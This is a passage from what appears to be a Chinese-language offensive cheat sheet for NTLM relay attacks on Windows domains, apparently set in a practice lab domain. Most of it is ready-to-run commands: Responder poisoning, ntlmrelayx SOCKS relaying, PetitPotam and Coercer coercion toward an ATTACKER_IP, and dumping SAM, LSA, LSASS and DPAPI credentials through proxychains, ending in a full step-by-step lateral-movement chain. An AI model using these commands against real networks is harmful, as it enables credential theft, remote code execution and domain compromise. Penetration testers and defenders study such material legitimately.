- 建议短时间运行,获取所需认证后停止
-hw参数可指定 WPAD 主机名过滤
---
分析模式
被动监听网络广播,不投毒不应答,用于前期侦察:
sudo responder -I eth0 -A用途:
- 观察网络中有哪些名称解析广播
- 识别潜在受害者和查询模式
- 评估投毒攻击的可行性
SOCKS 代理横向移动
ntlmrelayx 的 SOCKS 代理模式将中继成功的认证会话保持在连接池中,允许多种工具复用已认证的连接,无需重新投毒或触发认证。
---
1. ntlmrelayx SOCKS 代理
启动参数
impacket-ntlmrelayx -tf targets.txt -smb2support -socks -of hashes.txt| 参数 | 作用 |
|---|---|
-socks | 启用 SOCKS4 代理,监听 127.0.0.1:1080 |
-of | 同时保存捕获的 Hash(备份) |
-smb2support | 支持 SMBv2/v3 |
-tf | 目标列表文件 |
会话管理
在 ntlmrelayx 交互终端中查看活跃会话:
ntlmrelayx> socks
Protocol Target Username AdminStatus Port
-------- -------------- ----------------- ----------- ----
SMB 10.10.10.22 NORTH/EDDARD.STARK TRUE 445
SMB 10.10.10.23 NORTH/ROBB.STARK FALSE 445
LDAP 10.10.10.1 NORTH/DC01$ TRUE 389会话键格式
每个会话由以下要素唯一标识:
- 协议(SMB / LDAP / HTTP)
- 目标 IP
- NetBIOS 短域名(如
NORTH) - 用户名
---
2. 域名格式要求
关键:通过 SOCKS 代理使用工具时,必须使用 NetBIOS 短域名,不能使用 FQDN。
| 格式 | 示例 | 是否正确 |
|---|---|---|
| NetBIOS 短名 | NORTH/EDDARD.STARK | 正确 |
| FQDN | north.sevenkingdoms.local/EDDARD.STARK | 错误,会话匹配失败 |
| 无域名 | EDDARD.STARK | 错误,无法匹配 |
工具调用时的域名必须与 socks 命令输出中的 Username 列完全一致。
---
3. proxychains 配置
编辑 /etc/proxychains4.conf:
# 使用 dynamic_chain 提高灵活性
#strict_chain
dynamic_chain
# 减少输出噪声
quiet_mode
[ProxyList]
socks4 127.0.0.1 1080基本调用语法
proxychains4 -q <tool> -no-pass DOMAIN/USER@TARGET-q:静默模式,不输出 proxychains 调试信息-no-pass:不提供密码(认证由 SOCKS 会话处理)
---
4. 通过代理路由工具
secretsdump(转储凭据)
# 转储 SAM / LSA / cached credentials
proxychains4 -q impacket-secretsdump -no-pass NORTH/EDDARD.STARK@10.10.10.22提取内容:
- 本地用户 NTLM Hash
- 缓存的域凭据 (DCC2)
- LSA 机密(服务账户密码)
- 机器账户 Hash
lsassy(LSASS 内存提取)
proxychains4 -q lsassy --no-pass -d NORTH -u EDDARD.STARK 10.10.10.22提取内容:
- 活跃会话凭据
- Kerberos 票据(TGT/TGS)
- 内存中的 NTLM Hash
donpapi(DPAPI 机密提取)
proxychains4 -q donpapi collect -d 'NORTH' -u 'EDDARD.STARK' -p '' --no-pass -t 10.10.10.22提取内容:
- 浏览器保存的密码
- Windows 凭据管理器
- WiFi 密码
- RDP 保存的凭据
smbclient(文件操作)
# 交互式 SMB 客户端
proxychains4 -q impacket-smbclient -no-pass NORTH/EDDARD.STARK@10.10.10.22
# 列出共享
proxychains4 -q netexec smb 10.10.10.22 -u 'EDDARD.STARK' -p '' -d 'NORTH' --shares
# 搜索共享内容
proxychains4 -q netexec smb 10.10.10.22 -u 'EDDARD.STARK' -p '' -d 'NORTH' -M spider_pluswmiexec(远程命令执行)
proxychains4 -q impacket-wmiexec -no-pass NORTH/EDDARD.STARK@10.10.10.22netexec 系列操作
# SAM 转储
proxychains4 -q netexec smb TARGET -u 'USER' -p '' -d 'NORTH' --sam
# DPAPI 转储
proxychains4 -q netexec smb TARGET -u 'USER' -p '' -d 'NORTH' --dpapi
# LSA 转储
proxychains4 -q netexec smb TARGET -u 'USER' -p '' -d 'NORTH' --lsa---
5. 会话生命周期管理
会话保活条件
会话在以下条件下保持存活: 1. ntlmrelayx 进程持续运行 2. 目标未主动断开连接 3. 网络连接正常
会话超时
- SMB 会话通常有空闲超时(默认约 15 分钟)
- LDAP 会话超时取决于服务器配置
- 频繁使用可延长会话寿命
会话刷新
当会话过期时: 1. 等待受害者触发新的广播查询(被动) 2. 使用 PetitPotam / PrinterBug 主动触发新认证(主动) 3. 新会话自动加入连接池
---
6. 实战场景:捕获高权限认证 → SOCKS 横向移动
场景描述
通过 Responder 投毒或强制认证捕获域管/高权限用户认证,利用 SOCKS 代理横向移动到多台主机。
完整流程
准备阶段:
# 1. 生成中继目标列表(无 SMB 签名的主机)
netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
# 2. 配置 Responder(关闭 SMB/HTTP)
# /etc/responder/Responder.conf: SMB=Off, HTTP=Off
# 3. 启动 Responder
sudo responder -I eth0 -dw -v启动中继:
# 4. 启动 ntlmrelayx SOCKS 模式
impacket-ntlmrelayx -tf targets.txt -smb2support -socks -of hashes.txt触发认证:
# 5. 主动触发高权限机器认证
python3 PetitPotam.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP
# 或使用 Coercer 自动尝试
coercer coerce -t DC_IP -l ATTACKER_IP -u USER -p PASS -d DOMAIN横向移动:
# 6. 检查捕获的会话
ntlmrelayx> socks
# 确认 AdminStatus = TRUE 的会话
# 7. 通过 SOCKS 转储多台主机凭据
proxychains4 -q impacket-secretsdump -no-pass NORTH/EDDARD.STARK@10.10.10.22
proxychains4 -q impacket-secretsdump -no-pass NORTH/EDDARD.STARK@10.10.10.23
# 8. 通过 SOCKS 提取 LSASS
proxychains4 -q lsassy --no-pass -d NORTH -u EDDARD.STARK 10.10.10.22
# 9. 通过 SOCKS 提取 DPAPI 机密
proxychains4 -q donpapi collect -d 'NORTH' -u 'EDDARD.STARK' -p '' --no-pass -t 10.10.10.22---
常见问题排查
| 问题 | 原因 | 解决方案 |
|---|---|---|
| "Session not found" | 域名格式错误 | 使用 NetBIOS 短名(NORTH 而不是 north.sevenkingdoms.local) |
| "Connection refused" | 会话已过期或目标断开 | 重新触发认证获取新会话 |
| "Access denied" | 用户在目标上无管理员权限 | 检查 socks 输出中的 AdminStatus |
| 代理速度慢 | proxychains 开销 | 配置中启用 quiet_mode 和 dynamic_chain |
| 工具无输出 | proxychains 未正确配置 | 检查 /etc/proxychains4.conf 中 socks4 127.0.0.1 1080 |